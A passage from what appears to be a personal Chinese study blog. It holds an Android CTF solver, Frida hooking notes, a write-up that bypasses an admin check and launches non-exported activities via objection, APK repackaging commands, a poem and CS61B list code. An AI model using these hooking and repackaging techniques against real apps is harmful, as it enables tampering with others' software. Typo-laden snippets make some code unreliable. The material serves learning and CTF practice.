            result[i] = translated_str[i + 1 if (i + 2) % 4 != 0 else i - 2]
             
    return result

print("Base64 Encode Test: ", [hex(ord(h)) for h in base64_encode(bytes([0xBB, 0x11, 0x61, 0x2F, 0xA0, 0xEF, 0x7F, 0x60, 0x2F, 0xF1, 
  0x72, 0x7F, 0x0C, 0x4F, 0xBC, 0xEA, 0x1C, 0xBC]))])

def base64_decode(input_str):
    import base64
    base64_chars = "abcdefghijklmnopqrstuvwxyz!@#$%^&*()ABCDEFGHIJKLMNOPQRSTUVWXYZ+/"
    output_bytes = bytearray()

    input_bytes = bytes(input_str, 'utf-8')
    aligned_input = [b''] * len(input_bytes)
    for i in range(len(input_bytes)):
        if (i+1) % 4 == 0:
            aligned_input[i] = input_bytes[i]
        else:
            aligned_input[i] = input_bytes[i - 1 if i % 4 != 0 else i + 2]
    aligned_str = bytes(aligned_input).decode('utf-8')
    
    decoded_bytes = base64.b64decode(aligned_str.translate(str.maketrans(base64_chars, "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/")))
    output_bytes.extend(decoded_bytes)
    print("Decoded Bytes:", output_bytes) 
    return output_bytes

def solve(encoded_str):
    decoded_bytes = base64_decode(encoded_str)
    print("len(decoded_bytes): ", len(decoded_bytes))
    for i in range(len(decoded_bytes)//8):
        v0, v1 = reverse_tea(decoded_bytes[8*i:8*i+4], decoded_bytes[8*i+4:8*i+8])
        decoded_bytes[8*i:8*i+4] = v0
        decoded_bytes[8*i+4:8*i+8] = v1
    print("After TEA Decryption:", decoded_bytes)
    print("decoded_bytes[0]: ", hex(decoded_bytes[0]))
    print("decoded_bytes[16]: ", hex(decoded_bytes[16]))
    result = reverse_check1(decoded_bytes)
    return result[0] + result[1]


encoded_str = "e)n*pNe%PQy!^oS(@HtkUu+Cd$#hmmK&ieytiWwYkIA="
original_input = solve(encoded_str)
print("flag: ", original_input)

Frida B01

2026-02-07T07:01:48.000Z

安卓 day4 想吃蛋挞

@source: https://github.com/r0ysue/AndroidSecurityStudy/tree/master/FRIDA/B01

获取蓝牙设备

enumerateLoadedClasses() 枚举已加载的类

setTimeout(function() {
    Java.perform(function() {
        console.log("\n[*] enumerating classes...");
        Java.enumerateLoadedClasses({
            onMatch: function(_className) {
                console.log("[*] found instance of '" + _className + "'");
            },
            onComplete: function() {
                console.log("[*] class enumeration complete");
            }
        });
    });
});

加个判断可以定位目标类。蓝牙相关类属于系统框架，被 zygote 预加载进进程内存，几乎所有 app 进程都能看到。

setTimeout(function() {
    Java.perform(function() {
        console.log("\n[*] enumerating classes...");
        Java.enumerateLoadedClasses({
            onMatch: function(instance) {
                if (instance.split(".")[1] == "bluetooth") {
                    console.log("[->]\t" + instance);
                }
            },
            onComplete: function() {
                console.log("[*] class enumeration complete");
            }
        });
    });
});

配合 Java.choose 可以拿到目标类实例。

setTimeout(function() {
    Java.perform(function() {
        const BluetoothDevice = Java.use("android.bluetooth.BluetoothDevice");
        
        function bluetoothDeviceInfo(anyObj) {
            try {
                // 如果不是 BluetoothDevice，先尝试 cast
                let dev = anyObj;
                if (anyObj.$className !== "android.bluetooth.BluetoothDevice") {
                    dev = Java.cast(anyObj, BluetoothDevice); // cast 失败会抛异常
            }

            console.log("    name=" + dev.getName() +
                        ", address=" + dev.getAddress() +
                        ", type=" + dev.getType());
            } catch (e) {
            console.log("    [!] not a BluetoothDevice / cast failed: " + anyObj.$className + " => " + e);
            }
        }
        
        console.log("\n[*] enumerating classes...");
        Java.enumerateLoadedClasses({
            onMatch: function(instance) {
                if (instance.split(".")[1] == "bluetooth") {
                    console.log("[->]\t" + instance);
                }
            },
            onComplete: function() {
                console.log("[*] class enumeration complete");
            }
        });
        
        console.log("[*] finding android.bluetooth.BluetoothDevice instance...");
        Java.choose("android.bluetooth.BluetoothDevice", {
            onMatch: function(instance) {
                console.log("[*] android.bluetooth,BluetoothDevice" + idx + " instance found" + " :=> '" + instance + "'");
                console.log("class=" + instance.$className);

                bluetoothDeviceInfo(instance);
            },
            onComplete: function() {
                console.log("[*] -----")
            }
        })
    });
});

对原文代码做了一些修改，但是本质差不多。以上脚本在安卓12下扫不到蓝牙设备，可能和注入时机有关（实例已经被gc），那么我们可以通过调用 BluetoothAdapter.getBondedDevices() 在进程中创建 BluetoothDevice 实例后马上开始扫。

setTimeout(function () {
    Java.perform(function () {
        const BluetoothDevice = Java.use("android.bluetooth.BluetoothDevice");
        const BluetoothAdapter = Java.use("android.bluetooth.BluetoothAdapter");

        function jtype(o) {
            try { return o.$className || (typeof o); } catch (_) { return typeof o; }
        }
        function bluetoothDeviceInfo(anyObj) {
            try {
                // 如果不是 BluetoothDevice，先尝试 cast
                let dev = anyObj;
                if (anyObj.$className !== "android.bluetooth.BluetoothDevice") {
                    dev = Java.cast(anyObj, BluetoothDevice); // cast 失败会抛异常
                }

                console.log("    name=" + dev.getName() +
                    ", address=" + dev.getAddress() +
                    ", type=" + dev.getType());
            } catch (e) {
                console.log("    [!] not a BluetoothDevice / cast failed: " + anyObj.$className + " => " + e);
            }
        }

        let adapter;
        try {
            adapter = BluetoothAdapter.getDefaultAdapter.overload().call(BluetoothAdapter);
            console.log("[*] adapter = " + adapter + " type=" + jtype(adapter));
        } catch (e) {
            console.log("[!] getDefaultAdapter failed: " + e);
            return;
        }

        if (adapter === null) {
            console.log("[!] No Bluetooth adapter");
            return;
        }
        let bonded;
        try {
            bonded = adapter.getBondedDevices.overload().call(adapter); // returns java.util.Set
            // console.log("[*] bonded = " + bonded + " type=" + jtype(bonded));
        } catch (e) {
            // console.log("[!] getBondedDevices failed: " + e);
            return;
        }

        console.log("[*] finding android.bluetooth.BluetoothDevice" + idx + " instance...");
        Java.choose("android.bluetooth.BluetoothDevice", {
            onMatch: function (instance) {
                console.log("[*] android.bluetooth,BluetoothDevice instance found" + " :=> '" + instance + "'");
                console.log("class=" + instance.$className);

                bluetoothDeviceInfo(instance);
            },
            onComplete: function () {
                console.log("[*] -----")
            }
        })
    });
});

直接 Java.choose 扫比较暴力，其实可以直接把拿到的 bonded 迭代出来。

Java.perform(function () {
  function jtype(o) {
    try { return o.$className || (typeof o); } catch (_) { return typeof o; }
  }
  function bluetoothDeviceInfo(anyObj) {
    try {
      // 如果不是 BluetoothDevice，先尝试 cast
      let dev = anyObj;
      if (anyObj.$className !== "android.bluetooth.BluetoothDevice") {
        dev = Java.cast(anyObj, BluetoothDevice); // cast 失败会抛异常
      }

      console.log("    name=" + dev.getName() +
        ", address=" + dev.getAddress() +
        ", type=" + dev.getType());
    } catch (e) {
      console.log("    [!] not a BluetoothDevice / cast failed: " + anyObj.$className + " => " + e);
    }
  }

  const BluetoothAdapter = Java.use("android.bluetooth.BluetoothAdapter");
  const BluetoothDevice = Java.use("android.bluetooth.BluetoothDevice");


  // 1) getDefaultAdapter (static)
  let adapter;
  try {
    adapter = BluetoothAdapter.getDefaultAdapter.overload().call(BluetoothAdapter);
    console.log("[*] adapter = " + adapter + " type=" + jtype(adapter));
  } catch (e) {
    console.log("[!] getDefaultAdapter failed: " + e);
    return;
  }

  if (adapter === null) {
    console.log("[!] No Bluetooth adapter");
    return;
  }

  // 2) getBondedDevices (instance)
  let bonded;
  try {
    bonded = adapter.getBondedDevices.overload().call(adapter); // returns java.util.Set
    console.log("[*] bonded = " + bonded + " type=" + jtype(bonded));
  } catch (e) {
    console.log("[!] getBondedDevices failed: " + e);
    return;
  }

  // 3) size()
  try {
    const n = bonded.size.overload().call(bonded);
    console.log("[*] bonded size = " + n);
  } catch (e) {
    console.log("[!] bonded.size() failed: " + e);
  }

  // 4) iterator + loop
  let it;
  try {
    it = bonded.iterator.overload().call(bonded);
    console.log("[*] iterator type=" + jtype(it));
  } catch (e) {
    console.log("[!] bonded.iterator() failed: " + e);
    return;
  }

  while (true) {
    let has;
    try {
      has = it.hasNext.overload().call(it);
    } catch (e) {
      console.log("[!] it.hasNext() failed: " + e);
      break;
    }
    if (!has) break;

    let dev;
    try {
      dev = it.next.overload().call(it);
      console.log("    dev=" + dev + " type=" + jtype(dev));
    } catch (e) {
      console.log("[!] it.next() failed: " + e);
      break;
    }

    // 5) getName/getAddress（同样强制 overload 调用）
    try {
      const name = BluetoothDevice.getName.call(dev);
      const addr = BluetoothDevice.getAddress.call(dev);
      console.log("    name=" + name + ", addr=" + addr);
    } catch (e) {
      console.log("    [!] getName/getAddress failed: " + e);
    }
    console.log("[*] finding android.bluetooth.BluetoothDevice instance...");
  }
});

非常多代码，使我的眼睛发炎。

利用反射 api 枚举类内所有方法

Java.perform(function () {
    function enumMethods(targetClass) {
        var hook = Java.use(targetClass);
        var ownMethods = hook.class.getDeclaredMethods();
        hook.$dispose(); // 释放 wrapper 内部引用

        return ownMethods;
    }

    var a = enumMethods("android.bluetooth.BluetoothDevice");
    a.forEach(function (s) {
        console.log(s);
    });

})

.class 获取 Class 对象，.getDeclaredMthods() 获取所有声明的方法。

Frida A02

2026-02-05T08:00:27.000Z

安卓 day3 怎么隔了这么多天？

@source: https://github.com/r0ysue/AndroidSecurityStudy/tree/master/FRIDA/A02#%E4%B8%AD%E7%BA%A7%E8%83%BD%E5%8A%9B%E8%BF%9C%E7%A8%8B%E8%B0%83%E7%94%A8

python loader

import frida, time

def on_message(message, data):
  	if message['type'] == 'error':
    		print("[!] " + message['stack'])
  	elif message['type'] == 'send':
    		print("[*] " + message['payload'])
  	else:
    		print(message)

# 连接设备上的 frida-server
device = frida.get_usb_device()
# 启动目标 app
pid = device.spawn(["com.example.app"])
device = resume(pid) # spawn 会把进程挂起，resume 运行
time.sleep(1) # 等待 app 启动
session = device.attach(pid)
# 加载 js 脚本
with open(s1.js) as f:
  	script = session.create_script(f.read())
script.on('message', on_message)
script.load()

input()

frida script

Java.perform(function x) 与安卓交互

var target_class = Java.use("com.example.app.MainActivity") 定位到 Java 类

定位到的类可以直接用 target_class.fun.implementation = function() {} 获取（修改）参数、返回值（var ret_value = this.fun(...) 调用原函数并获取返回值）。如果 fun 有重载，用 target_class.fun.overload("int", "int").implementation... 指定

需要用到 java.lang 中的类时用 Java.use("java.lang.String").$new("My test String") 实例化

Java.choose

类中未调用的方法没办法直接 hook，用 Java.choose(className, callBacks) 拿到对象后调用。

Java.perform(function() {
  	Java.choose("com.example.app.MainActivity", {
    		onMatch: function(instance) {
      			console.log("Found instance:", instance);
      			console.log("secret() =>", instance.secret());
        },
      	onComplete: function() {
          	console.log("Done.");
        }
  	});
});

回调语义

onMatch(instance) 每找到一个存活实例就回调一次。onMatch 里面可以调用方法、读写字段(instance.someFiled.value = 123;)、保存引用以供后续使用(saved = instance;)、控制扫描(return “stop”; // 找到一个实例就停止扫描)
onComplete() 扫描结束后回调一次

原理

在内存里枚举对象引用（heap enumeration / instance enumeration）
判断对象是否为目标类，命中则传给 onMatch

RPC (Remote Procedure Call)

可以把安卓的函数导出为 python 符号，在 python 端调用

// s3.js
console.log("Script loaded successfully");

function callScretFun() { // 导出函数
    Java.perform(function() {
        Java.choose("com.example.app.MainActivity", {
            onMatchL function(instance) {
            	console.log("Found instance: " + instance);
            	console.log("secret() => ") + instance.secret());
        },
            onComplete: function() {}
        });
    });
}

rpc.expoets = {
    callsecretfunction: callSecretFun // 把 callSecretFun 导出为 callsecretfunction 符号，导出名不能有大写字母和下划线
}

# loader3.py
import frida, time

...
command = ""
while True:
  	command = input("Enter command:\n1: Exit\n2: Call secret function\nchoice:")
    if command == "1":
      	break
    elif command == "2": # 调用点
      	script.exports.callsecretfunction()

send() recv()

recv('head', function(message) {
    console.log(message.payload);
    console.log(message.nonmirror);
    message.nonmirror = "no";
    send(message)
});

import frida

def on_message(message, data):
    print(message)

session = frida.attach("hello")
with open("send.js") as f:
    script = session.create_script(f.read())

script.on('message', on_message)
script.load()
script.post({'type': 'head', 'payload': 123, 'nonmirror': 'yes'})
input()

"""
123
yes
{'type': 'send', 'payload': {'type': 'head', 'payload': 123, 'nonmirror': 'no'}}
"""

message 格式为 json，字段用 . 读写。send 的数据放在 message 的 payload 字段

动态修改绕过判断的思路

public class MainActivity extends AppCompatActivity {

    EditText username_et;
    EditText password_et;
    TextView message_tv;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        password_et = (EditText) this.findViewById(R.id.editText2);
        username_et = (EditText) this.findViewById(R.id.editText);
        message_tv = ((TextView) findViewById(R.id.textView));

        this.findViewById(R.id.button).setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                if (username_et.getText().toString().compareTo("admin") == 0) {
                    message_tv.setText("You cannot login as admin");
                    return;
                }
                // setText 模拟向服务器发送请求，即 hook 目标
                message_tv.setText("Sending to the server: " + Base64.encodeToString((username_et.getText().toString() + ":" + password_et.getText().toString()).getBytes(), Base64.DEFAULT));
            }
        });
    }
}

username_et, password_et 为用户输入，message_tv 为回显字符。为绕过 admin 的判断，只需要 hook setText() 获取输入的用户名密码，再把用户名改成 admin 即可。中间有一些编码解码的过程，借助 loader 完成。

// s4.js

console.log("Script loaded successfully");
Java.perform(function () {
    var tv_class = Java.use("android.widget.TextView");
    tv_class.setText.overload("java.lang.CharSequence").implementation = 
		function (x) {
			var string_to_send = x.toString();
			var string_to_recv;
			send(string_to_send); // 将数据("Sending to the server: " + Base64.encodeToString...)发给 python
			recv(function (received_json_object) {
				string_to_recv = received_json_object.modified_data
				console.log("string_to_recv: " + string_to_recv);
			}).wait(); // 收到数据之后再执行下去
			
			return this.setText(Java.use("java.lang.String").$new(string_to_recv));
		}
});

# loader4.py

import time
import base64
import frida


def on_message(message, payload):
    print('message:', message)
    if message["type"] == "error":
        print("[!] " + message.get("stack", str(message)))
        return

    if message["type"] != "send":
        print(message)
        return

    data = message["payload"]
    print("[*] payload:", data)

    b64_str = data.rsplit(":", 1)[1].strip()
    b64_str = b64_str.replace("\n", "").replace("\r", "")

    # 解码：str -> bytes -> str
    raw = base64.b64decode(b64_str)
    decoded = raw.decode("utf-8", errors="replace")
    print("[*] decoded:", decoded)

    user, pw = decoded.split(":", 1)

    # 改成 admin:pw 再 Base64 编码回去
    new_plain = f"admin:{pw}".encode("utf-8")
    new_b64 = base64.b64encode(new_plain).decode("utf-8")

    print("[*] encoded data:", new_b64)
    script.post({"modified_data": new_b64})
    print("[*] Modified data sent")


device = frida.get_usb_device()
pid = device.spawn(["com.example.myapplication2"])
device.resume(pid)
time.sleep(1)

session = device.attach(pid)
with open("s4.js", "r", encoding="utf-8") as f:
    script = session.create_script(f.read())

script.on("message", on_message)
script.load()
input()

Ill-intentions

2026-01-26T12:55:51.000Z

安卓 day2 怎么隔了这么多天？

frida

frida 17 之后的 java 桥

mkdir my-agent
cd my-agent
frida-craete -t agent
npm install
npm install frida-java-bridge

import Java from "frida-java-bridge"

Java.perform(() => {
	...
});

Python 内编译

...
PROJECT_ROOT = os.path.abspath("./my-agent")
ENTRY = "agent.ts"

compiler = frida.Compiler()
compiler.on("diagnostics", on_diagnostics)

bundle = compiler.build(ENTRY, project_root=PROJECT_ROOT)
...

手动编译（略）

攻防世界 ill-intentions hook

先看 manifest

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    android:versionCode="1"
    android:versionName="1.0"
    package="com.example.hellojni"
    platformBuildVersionCode="22"
    platformBuildVersionName="5.1.1-1819727">
    <uses-sdk
        android:minSdkVersion="22"
        android:targetSdkVersion="23"/>
    <permission
        android:name="ctf.permission._MSG"
        android:protectionLevel="signature"
        android:description="@string/android.permission._msg"/>
    <permission
        android:name="ctf.permission._SEND"
        android:description="@string/android.permission._msg"/>
    <application
        android:label="CTF Application"
        android:icon="@mipmap/ic_launcher">
        <activity
            android:label="Main Activity"
            android:name="com.example.application.MainActivity">
            <intent-filter>
                <action android:name="android.intent.action.MAIN"/>
                <category android:name="android.intent.category.LAUNCHER"/>
            </intent-filter>
        </activity>
        <activity
            android:label="Activity: Is This The Real One"
            android:name="com.example.application.IsThisTheRealOne"/>
        <activity
            android:label="This Is The Real One"
            android:name="com.example.application.ThisIsTheRealOne"/>
        <activity
            android:label="Definitely Not This One"
            android:name="com.example.application.DefinitelyNotThisOne"/>
        <receiver
            android:name="com.example.application.Send_to_Activity"
            android:exported="true"/>
    </application>
</manifest>

关注到主活动外有三个活动，都是解密过程，分别调用了一个不同的 native 函数，算法都不是很复杂可以直接分析，这里考虑 hook，但先按下不表。

还有一个 receiver，先看一眼

public class Send_to_Activity extends BroadcastReceiver {
    @Override // android.content.BroadcastReceiver
    public void onReceive(Context context, Intent intent) {
        String msgText = intent.getStringExtra("msg");
        if (msgText.equalsIgnoreCase("ThisIsTheRealOne")) {
            Intent outIntent = new Intent(context, (Class<?>) ThisIsTheRealOne.class);
            context.startActivity(outIntent);
        } else if (msgText.equalsIgnoreCase("IsThisTheRealOne")) {
            Intent outIntent2 = new Intent(context, (Class<?>) IsThisTheRealOne.class);
            context.startActivity(outIntent2);
        } else if (msgText.equalsIgnoreCase("DefinitelyNotThisOne")) {
            Intent outIntent3 = new Intent(context, (Class<?>) DefinitelyNotThisOne.class);
            context.startActivity(outIntent3);
        } else {
            Toast.makeText(context, "Which Activity do you wish to interact with?", 1).show();
        }
    }
}

做的就是 dispatcher 的工作，看一眼主活动

public class MainActivity extends Activity {
    @Override // android.app.Activity
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        TextView tv = new TextView(getApplicationContext());
        tv.setText("Select the activity you wish to interact with.To-Do: Add buttons to select activity, for now use Send_to_Activity");
        setContentView(tv);
        IntentFilter filter = new IntentFilter();
        filter.addAction("com.ctf.INCOMING_INTENT");
        BroadcastReceiver receiver = new Send_to_Activity();
        registerReceiver(receiver, filter, Manifest.permission._MSG, null);
    }
}

发现这个 receiver 的 filter 是动态注册的，权限为 ctf.permission._MSG，manifest 里面可用看到是 signature 级别（只有同签名的app才有该权限），不考虑重打包基本没办法利用。

尝试 adb 直接启动那三个活动

adb shell am start -n com.example.hellojni/com.example.application.IsThisTheRealOne

报错，活动的 exported 标签不为真，外部启动不了。了解到工具 objection 可以把 agent 注入到进程内部，在 app 的进程里构造 intent 可以绕过这个限制。那么可以把那三个 native 函数钩住，再用 objection 启动活动。

function main() {
    Java.perform(function() {
        var DefinitelyNotThisOneHandler = Java.use('com.example.application.DefinitelyNotThisOne');
        DefinitelyNotThisOneHandler.definitelyNotThis.implementation = function(arg0, arg1) {
            console.log("[*] Entered DefinitelyNotThisOneHandler(), arg0: " + arg0 + ", arg1: " + arg1);
            var ret = this.definitelyNotThis(arg0, arg1);
            console.log("[*] Finished DefinitelyNotThisOneHandler(), return value: " + ret);
            return ret;
        }

        var ThisIsTheRealOneHandler = Java.use("com.example.application.ThisIsTheRealOne");
        ThisIsTheRealOneHandler.orThat.overload('java.lang.String', 'java.lang.String', 'java.lang.String').implementation = function(arg0, arg1, arg2) {
            console.log('[*] Entered ThisIsTheRealOneHandler(), arg0: ' + arg0 + ', arg1: ' + arg1 + ', arg2: ' + arg2);
            var ret = this.orThat(arg0, arg1, arg2);
            console.log('[*] Finished ThisIsTheRealOneHandler(), return value: ' + ret);
            return ret;
        }

        var IsThisTheRealOneHandler = Java.use("com.example.application.IsThisTheRealOne");
        IsThisTheRealOneHandler.perhapsThis.overload('java.lang.String', 'java.lang.String', 'java.lang.String').implementation = function(arg0, arg1, arg2) {
            console.log('[*] Entered IsThisTheRealOneHandler(), arg0: ' + arg0 + ', arg1: ' + arg1 + ', arg2: ' + arg2);
            var ret = this.perhapsThis(arg0, arg1, arg2);
            console.log('[*] Finished IsThisTheRealOneHandler(), return value: ' + ret);
            return ret;
        }
    })
}

setImmediate(main)

objection --name com.example.hellojni start

android hooking list activities
android intent launch_activity com.
example.application.IsThisTheRealOne

[MI 6::com.example.hellojni ]-> [*] Entered IsThisTheRealOneHandler(), arg0: TRytfrgooq|F{i-JovFBungFk\VlphgQbwvj~HuDgaeTzuSt.@Lex^~, arg1: ZGFkNGIwYzIWYjEzMTUWNjVjNTVlNjZhOGJkNhYtODIyOGEaMTMWNmQaOTVjZjkhMzRjYmUzZGE?
, arg2: MzQxZTZmZjAxMmIiMWUzNjUxMmRiYjIxNDUwYTUxMWItZGQzNWUtMzkyOWYyMmQeYjZmMzEaNDQ?

[*] Finished IsThisTheRealOneHandler(), return value: Congratulation!YouFoundTheRightActivityHereYouGo-CTF{IDontHaveABadjokeSorry}

重打包

apktool d -f raw.apk -o out_dir
apktool b -f out_dir -o unsigned.apk

# 对齐优化
zipalign -p -f 4 unsigned.apk aligned.apk

# 生成签名文件
keytool -genkeypair -alias myapp -keyalg RSA -keysize 2048 -sigalg SHA256withRSA -validity 10000 -keystore my-release.keystore -storetype PKCS12 -v

# 签名
apksigner sign --ks my-release.keystore --out signed.apk aligned.apk

JNI 函数在 C/C++ 侧的真实形态

public static native int foo(String str);

通常对应：

JNIEXPORT jint JNICALL Java_com_example_test_JNI_foo(JNIEnv* env, jclass clazz, jstring str);

JNIEnv* env 是 JNI 环境指针，线程相关，里面是一堆函数表，对应 *JNINativeInterface

jclass clazz 是类对象（如果不是 static，则是 jobject thiz）

jstring str Java 传进来的 String

JNI 环境指针函数表中的函数通常通过 *env + offset 调用，结合地址位数可以算出来是哪个函数。

int __fastcall Java_com_example_test_ctf03_JNI_getResult(int a1, int a2, int a3)
{
  int v3; // r4
  const char *v4; // r8
  char *v5; // r6
  char *v6; // r4
  char *v7; // r5
  int i; // r0
  int j; // r0

  v3 = 0;
  str = (*(*a1 + 676))(a1, a3, 0);
  if ( strlen(v4) == 15 )
  {
    v5 = malloc(1u);
    v6 = malloc(1u);
    v7 = malloc(1u);
    Init(v5, v6, v7, v4, 15);
    if ( !First(v5) )
      return 0;
    for ( i = 0; i != 4; ++i )
      v6[i] ^= v5[i];
    if ( !strcmp(v6, a5) )
    {
      for ( j = 0; j != 4; ++j )
        v7[j] ^= v6[j];
      return strcmp(v7, "AFBo}") == 0;
    }
    else
    {
      return 0;
    }
  }
  return v3;
}

676/4=169，索引到 GetStringUTFChars()（查文档或者对应版本的 jni.h，也可以用参数和用途推断），这个函数把 java 的 String 转成 C 字符串。

Intent and sendBroadcast

2026-01-22T10:20:00.000Z

安卓 day1 怎么才刚开始学？

Intent

android.content.Intent 是安卓中用于组件间通信的核心类，描述一个操作的意图，例如启动一个 Activity、Service 或发送 Broadcast。

分为显式（指定确切组件类，new Intent(this, TargetActivity.class)），隐式（不确定组件，只描述操作，如打开网页的 ACTION_VIEW）

// 显式 Intent：启动指定 Activity
Intent intent = new Intent(this, SecondActivity.class);
intent.putExtra("message", "Hello");
startActivity(intent);

// 隐式 Intent：发送邮件
Intent intent = new Intent(Intent.ACTION_SEND); // 此处只给行为，不指定具体目标 app
intent.setType("text/plain"); // 设置携带数据的类型，便于过滤 app
intent.putExtra(Intent.EXTRA_TEXT, "Hello World");
startActivity(Intent.createChooser(intent, "选择应用")); // 弹出对话框，由用户选择 app

sendBroadcast(Intent intent)

向系统发送一个普通广播（Unordered Broadcast），异步分发 Intent 到所有注册了匹配 action 的 BroadcastReceiver ，接收器并行处理。

一个题

<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    android:versionCode="1"
    android:versionName="1.0"
    package="com.example.test.ctf02"
    platformBuildVersionCode="24"
    platformBuildVersionName="7">
    <uses-sdk
        android:minSdkVersion="14"
        android:targetSdkVersion="24"/>
    <application
        android:theme="@style/AppTheme"
        android:label="@string/app_name"
        android:icon="@mipmap/ic_launcher"
        android:debuggable="true"
        android:allowBackup="true"
        android:supportsRtl="true">
        <activity android:name="com.example.test.ctf02.MainActivity">
            <intent-filter>
                <action android:name="android.intent.action.MAIN"/>
                <category android:name="android.intent.category.LAUNCHER"/>
            </intent-filter>
        </activity>
        <receiver
            android:name="com.example.test.ctf02.GetAndChange"
            android:enabled="true"
            android:exported="true">
            <intent-filter>
                <action android:name="android.is.very.fun"/>
            </intent-filter>
        </receiver>
        <activity android:name="com.example.test.ctf02.NextContent"/>
        <activity android:name="com.example.test.ctf02.MainActivity2"/>
    </application>
</manifest>

MainActivity 是一个简单的加密，过了之后进入 MainActivity2

public class MainActivity2 extends AppCompatActivity {
    Button button;
    EditText editText;
    ImageView imageView;

    @Override // android.support.v7.app.AppCompatActivity, android.support.v4.app.FragmentActivity, android.support.v4.app.BaseFragmentActivityGingerbread, android.app.Activity
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main_2);
        init();
        this.button.setOnClickListener(new View.OnClickListener() { // from class: com.example.test.ctf02.MainActivity2.1
            @Override // android.view.View.OnClickListener
            public void onClick(View v) {
                String str = MainActivity2.this.editText.getText().toString();
                Intent intent = new Intent(str);
                MainActivity2.this.sendBroadcast(intent);
            }
        });
    }

    public void init() {
        this.imageView = (ImageView) findViewById(R.id.image);
        this.imageView.setImageResource(R.drawable.timg);
        this.editText = (EditText) findViewById(R.id.pwd);
        this.button = (Button) findViewById(R.id.button);
    }
}

onClick() 中，输入值 str 作为 action 传入 intent ，到这里可以去 AndroidManifest.xml 看一眼。

<receiver
            android:name="com.example.test.ctf02.GetAndChange"
            android:enabled="true"
            android:exported="true">
            <intent-filter>
                <action android:name="android.is.very.fun"/>
            </intent-filter>
        </receiver>

注册了一个 receiver GetAndChange，内容就是启动第三个 Activity NextContent，intent-filter 标签代表匹配条件，这说明传入 android.is.very.fun 就能触发接收器。

这里是静态注册，receiver 还能在运行时用 Context.registerReceiver() 动态注册。

// 在 onCreate 或其他方法中
IntentFilter filter = new IntentFilter("com.example.CUSTOM_ACTION");
MyReceiver receiver = new MyReceiver();
registerReceiver(receiver, filter);  // 注册

// 在 onDestroy 或 onPause 中注销
unregisterReceiver(receiver);

MainActivity 启动 MainActivity2 当然也是用到 Intent

Intent intent = new Intent(MainActivity.this, (Class<?>) MainActivity2.class);
MainActivity.this.startActivity(intent);
MainActivity.this.finish();
return; // onClick() 返回

这是 app 中界面导航的范式。

这题的 apk 其实有很多可疑的地方，比如 assets 里面有个压缩包，export 出来又打不开，010 看一眼发现是 .jpg，直接改一下后缀名就可以看到图片里的 flag。并且直接去看 NextContent 的话也可以发现很可疑的东西

public void Change() throws IOException {
        String strFile = getApplicationContext().getDatabasePath("img.jpg").getAbsolutePath();
        try {
            File f = new File(strFile);
            if (f.exists()) {
                f.delete();
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
        try {
            InputStream is = getApplicationContext().getResources().getAssets().open("timg_2.zip");
            FileOutputStream fos = new FileOutputStream(strFile);
            byte[] buffer = new byte[1024];
            while (true) {
                int count = is.read(buffer);
                if (count <= 0) {
                    break;
                } else {
                    fos.write(buffer, 0, count);
                }
            }
            fos.flush();
            fos.close();
            is.close();
        } catch (Exception e2) {
            e2.printStackTrace();
        }
        this.imageView.setImageBitmap(BitmapFactory.decodeFile(strFile));
    }

是一个图片覆盖的逻辑，把压缩包盖到图片上了，不难想到去看这个压缩包。

我的玫瑰

2025-12-24T18:11:26.000Z

我的玫瑰
直到你带着安详的刺来吻我
我才看清你潮汐般的花瓣

我染上又染上了你的颜色
洗去又洗去
盐分饱满的沸腾海水把我皮肤融化
你又来吻我

我染上又染上了你的颜色

CS61B Lecture

2025-10-29T03:11:35.000Z

61b 一拖再拖，课内学得稀烂。把 61b 的仓库 public 了，搬了一堆屎到博客上，希望得到存在或不存在的人的监督🙏✊ 又听到 Josh Hug 的声音，感觉好幸福。

Lists in Java

date: 2025-8-20 23:35:07

public class SLList {
    private static class Int Node {
        public int item;
        public IntNode next;
        
        public IntNode(int i, IntNode n) {
            item = i;
            next = n;
        }
    }
    
    private IntNode first;
    
    public SLList(int x) {
        first = new IntNode(x, null);
    }
    
    public void addFirst(int x) {
        first = new IntNode(x, first);
    }
    public int getFirst() {
        return first.item;
    }
    
    // Why is it `static`?
    private static int size(IntNode p) {
        if (p.next == null) {
            return 1;
        }
        return 1 + size(p.netx);
    }
    public int size() {
        return size(first);
    }
}

更强的封装性，更面向对象。留意 .size() 的实现。

The meaning of a sentinel

统一的逻辑，严谨的结构（空表）

addLast is slow

需要将倒数第二个节点的 next 置空，要遍历链表。

If we just maintain a lastNode, the moveLast would be slow

多维护一个 lastNode 也没有用（思考）。

So the solution is… Doubly Linked List!

因此想到双向链表。

Two sentinel? Can be more perfect. One Sentinel!

迁移注记原文图片未随仓库迁入：image-20250820151743741image-20250820151743741.png

迁移注记原文图片未随仓库迁入：image-20250820231056714image-20250820231056714.png

public class DLList<T> {
	private class Node {
		public T item;
		public Node next;
        public Node prev;
		
		public Node(T i, Node n, Node p) {
			item = i;
			next = n;	
			prev = p;
		}	
	}
	
	private Node sentinel;
	private int size;
	
	public DLList() {
		size = 0;
		sentinel = new Node(null, null, null);\
        sentinel.next = sentinel;
        sentinel.prev = sentinel;
	}
	
    public void addFirst(T x) {
        Node newNode = new Node(x, sentinel.next, sentinel);
        sentinel.next.prev = newNode;
        sentinel.next = newNode;
        ++size;
    }
    
    public void removeFirst() {
        if (size == 0) {
            throw new IllegalStateException("Cannot remove from an empty list");
        }
        sentinel.next.next.prev = sentinel;
        sentinel.next = sentinel.next.next;
        --size;
    }
	
    public T getFirst() {
        if (size == 0) {
            throw new IllegalStateException("Cannot get first element of an empty list");
        }
        return sentinel.next.item;
    }
	
    public void addLast(T x) {
        Node newNode = new Node(x, sentinel, sentinel.prev);
        sentinel.prev.next = newNode;
        sentinel.prev = newNode;
        ++size;
    }
    
    public void removeLast() {
        if (size == 0) {
            throw new IllegalStateException("Cannot remove from an empty list");
        }
        sentinel.prev.prev.next = sentinel;
        sentinel.prev = sentinel.prev.prev;
        --size;
    }
    
    public T getLast() {
        if (size == 0) {
